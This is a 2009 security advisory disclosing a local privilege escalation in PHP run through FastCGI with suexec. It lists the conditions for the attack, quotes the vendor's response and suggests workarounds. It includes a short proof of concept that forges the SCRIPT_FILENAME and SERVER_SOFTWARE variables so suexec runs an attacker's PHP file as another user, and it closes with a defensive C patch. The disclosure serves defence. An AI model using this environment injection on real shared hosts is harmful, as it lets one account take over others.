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Local vulnerability in suexec + FastCGI + PHP configurations
From: Andrew Miller <andrew () amxl com>
Date: Wed, 11 Feb 2009 22:56:42 +1300

DISCLAIMER: THIS SECURITY ADVISORY IS PROVIDED AS-IS, AND WITHOUT ANY 
GUARANTEE OF ANY KIND THAT THE INFORMATION IS ACCURATE, OR THAT THE 
WORKAROUND, SOLUTIONS, OR PATCHES PROVIDED WILL PROTECT SYSTEMS, OR THAT 
THEY WILL NOT CREATE NEW PROBLEMS. THE AUTHOR ACCEPTS NO LIABILITY OF 
ANY FORM FOR THE INFORMATION CONTAINED WITHIN OR THE CONSEQUENCES OF ITS 
USE OR MISUSE.

Synopsis:
  Most current installations of PHP set up to run via FastCGI with 
suexec are vulnerable to a local exploit, where anyone with the ability 
to run code as the user the webserver runs as can gain access as any 
user with an account set up to run PHP. It is anticipated that this 
issue will especially affect shared web hosts who use FastCGI + suexec 
thinking it will give them additional security.

Conditions for exploitation:
  => PHP needs to be used via CGI or FastCGI.
  => The system must be set up to use suexec (rather than, say, having 
PHP run as an external FastCGI server).
  => The attacker must be able to run code as the same user that the 
webserver runs as. This is unlikely to be a problem for many local 
attackers, because there are a multitude of possible attack vectors, 
such as SSI, non-suexec CGI scripts, non-suexec PHP (if mod_php is also 
installed), and likely numerous other options.
  => Depending on the configuration, setting an open_basedir might 
protect an installation. However, this only applies if open_basedir is 
set, php-cgi is not installed directly into the web space, but is 
instead called from a script which doesn't pass any parameters from the 
script command line.

Affected PHP versions:
  => All versions of PHP (including PHP 5.2.8 and latest CVS) in 
existence at the date of this advisory are believed to be affected.

Vendor notification:
  security () php net has been informed of this issue. Antony Dovegal 
replied to say:
     "It's been agreed that we won't implement any more security hacks 
in PHP itself since such things should be done by the OS, so no more 
magic INI settings."
  As such, it appears that the PHP developers do not intend to add any 
technical measures against this vulnerability. It should be noted that 
while this is a vulnerability in a way of installing PHP, it appears 
that there is no way to securely set up a suexec + FastCGI + PHP 
installation using an unpatched version of PHP and so it is hoped that 
the PHP developers will reconsider in time.

Work-arounds:
  A proposed patch is provided later which can be applied to PHP to 
protect against this vulnerability (when coupled with an appropriate 
configuration). This patch has been briefly tested to ensure it works, 
but requires more testing and review before it should be used in 
production. No guarantees are made about it.

  Using a permanently running external FastCGI process per user is an 
alternative solution if the cost of these extra processes is tolerable.

  Setting open_basedir from within php.ini may be a possible workaround 
(but only if nowhere in open_basedir is writable to the attacker), but 
only if PHP is called from a script which also sets SERVER_SOFTWARE and 
doesn't pass through the command line arguments. For example:
#!/bin/bash
export SERVER_SOFTWARE=blah
/usr/bin/php-cgi -c /home/myuser/php.ini

Technical details of attack:
  PHP does not place any restrictions on what it will run, even when 
called from suexec. This means that by manipulating the environment 
variables passed in to php-cgi when calling via suexec, an attacker can 
execute arbitrary PHP scripts with the user of the owner of the PHP 
script (and if SERVER_SOFTWARE is not set, can also pass in PHP code to 
be executed via stdin).

 The filtering of environment variables by suexec does not protect 
against this attack, because the environment variables needed to perform 
the attack are passed through suexec. Likewise, setting doc_root and 
user_dir in php.ini (as recommended in the security section of the PHP 
manual) provides no protection, as the attacker has full control of 
environments indicating the base directory.

Example of exploitation:
  Suppose that suexec php is set up as follows:
In /home/wwjargon/public_html/php.fcgi we have:
#!/bin/bash
/usr/bin/php-cgi -c /home/wwjargon/php.ini

In .htaccess we have:
Action php-fcgi /php.fcgi
AddHandler php-fcgi .php

This is a fairly common set up. It can be exploited as follows (www-data 
is the username the webserver runs as):

$ whoami
www-data
$ cat >/tmp/exploit.php
<?php system("whoami");
$ cd /home/wwjargon/public_html/
$ SCRIPT_FILENAME=/tmp/exploit.php SERVER_SOFTWARE=blah 
/usr/lib/apache2/suexec "~wwjargon" wwjargon php.fcgi
X-Powered-By: PHP/5.2.6-2ubuntu4
Content-type: text/html

wwjargon

Patch for PHP to provide protection:
  This patch has been briefly tested to ensure it works, but requires 
more testing and review before it should be used in production. No 
guarantees are made about it.

diff -rbud ./php-5.2.8-orig/sapi/cgi/cgi_main.c 
./php-5.2.8/sapi/cgi/cgi_main.c
--- ./php-5.2.8-orig/sapi/cgi/cgi_main.c    2009-02-10 
21:37:09.000000000 +1300
+++ ./php-5.2.8/sapi/cgi/cgi_main.c    2009-02-11 00:07:51.000000000 +1300
@@ -67,6 +67,9 @@
 #include <fcntl.h>
 #include "win32/php_registry.h"
 #endif
+#ifdef HAVE_PWD_H
+#include <pwd.h>
+#endif
 
 #ifdef __riscos__
 #include <unixlib/local.h>
@@ -170,6 +173,10 @@
     zend_bool impersonate;
 # endif
 #endif
+#ifdef HAVE_PWD_H
+    char* suexec_base_dir;
+    char* suexec_user_dir;
+#endif
 } php_cgi_globals_struct;
 
 #ifdef ZTS
@@ -1232,6 +1239,10 @@
     STD_PHP_INI_ENTRY("fastcgi.impersonate",     "0",  PHP_INI_SYSTEM, 
OnUpdateBool,   impersonate, php_cgi_globals_struct, php_cgi_globals)
 # endif
 #endif
+#ifdef HAVE_PWD_H
+    STD_PHP_INI_ENTRY("cgi.suexec_base_dir",     NULL, PHP_INI_SYSTEM, 
OnUpdateString, suexec_base_dir, php_cgi_globals_struct, php_cgi_globals)
+    STD_PHP_INI_ENTRY("cgi.suexec_user_dir",     NULL, PHP_INI_SYSTEM, 
OnUpdateString, suexec_user_dir, php_cgi_globals_struct, php_cgi_globals)
+#endif
 PHP_INI_END()
 
 /* {{{ php_cgi_globals_ctor
@@ -1254,6 +1265,10 @@
     php_cgi_globals->impersonate = 0;
 # endif
 #endif
+#ifdef HAVE_PWD_H
+    php_cgi_globals->suexec_base_dir = NULL;
+    php_cgi_globals->suexec_user_dir = NULL;
+#endif
 }
 /* }}} */
 
@@ -1708,6 +1723,10 @@
 #if PHP_FASTCGI
             && !fastcgi
 #endif
+#ifdef HAVE_PWD_H
+            && CGIG(suexec_base_dir) == NULL
+            && CGIG(suexec_user_dir) == NULL
+#endif
         ) {
             while ((c = php_getopt(argc, argv, OPTIONS, &php_optarg, 
&php_optind, 0)) != -1) {
                 switch (c) {
@@ -1884,6 +1903,10 @@
 #if PHP_FASTCGI
             || fastcgi
 #endif
+#ifdef HAVE_PWD_H
+            || CGIG(suexec_base_dir) != NULL
+            || CGIG(suexec_user_dir) != NULL
+#endif
         )
         {
             file_handle.type = ZEND_HANDLE_FILENAME;
@@ -1922,9 +1945,49 @@
         */
         retval = FAILURE;
         if (cgi || SG(request_info).path_translated) {
+#ifdef HAVE_PWD_H
+            zend_bool path_ok = !(CGIG(suexec_base_dir) ||
+                                  CGIG(suexec_user_dir));
+            if (!path_ok && SG(request_info).path_translated)
+            {
+                struct stat statbuf;
+                char *real_path = 
tsrm_realpath(SG(request_info).path_translated, NULL TSRMLS_CC);
+
+                virtual_stat(SG(request_info).path_translated, &statbuf 
TSRMLS_CC);
+                /* Only execute if the script is owned by the current user,
+                 * the user execute bit is set, and it is not group or 
world
+                 * writable.
+                 */
+                if (statbuf.st_uid == geteuid() &&
+                    (statbuf.st_mode & 0100) == 0100 &&
+                    (statbuf.st_mode & 022) == 0) {
+                    if (CGIG(suexec_base_dir) && !strncmp(real_path, 
CGIG(suexec_base_dir), strlen(CGIG(suexec_base_dir)))) {
+                        path_ok = 1;
+                    }
+                    if (!path_ok && CGIG(suexec_user_dir)) {
+                        struct passwd* pw = getpwuid(geteuid());
+                        size_t len = strlen(pw->pw_dir) + 1 + 
strlen(CGIG(suexec_user_dir)) + 2;
+                        char * user_dir = malloc(len);
+                        strcpy(user_dir, pw->pw_dir);
+                        strlcat(user_dir, "/", len);
+                        strlcat(user_dir, CGIG(suexec_user_dir), len);
+                        strlcat(user_dir, "/", len);
+                        if (!strncmp(real_path, user_dir, len - 1))
+                            path_ok = 1;
+                        free(user_dir);
+                    }
+                    free(real_path);
+                }
+            }
+
+            if (path_ok) {
+#endif
             if 
(!php_check_open_basedir(SG(request_info).path_translated TSRMLS_CC)) {
                 retval = php_fopen_primary_script(&file_handle TSRMLS_CC);
             }
+#ifdef HAVE_PWD_H
+            }
+#endif
         }
         /*
             if we are unable to open path_translated and we are not

Usage of the patch:
  => Apply to PHP 5.2.8 and rebuild and install php-cgi.
  => Replace the scripts in the web directory with a script like:
#!/bin/bash
/usr/bin/php-cgi -c /etc/php.ini

  Then in php.ini, you have two new configuration options:
cgi.suexec_base_dir
cgi.suexec_user_dir

  If either of these directives are set, extra security checks are 
enabled. If both are set, the security checks for one or the other of 
the directives must pass.

  cgi.suexec_base_dir restricts script execution to paths starting with 
the directive (include a trailing slash if you don't want it to be used 
as a prefix).

  cgi.suexec_user_dir gives a path relative to the users home directory 
where PHP will execute code from.

  In addition, any PHP scripts to be executed must be owned by the same 
user, have the execute bit set, and not be group or world writable.

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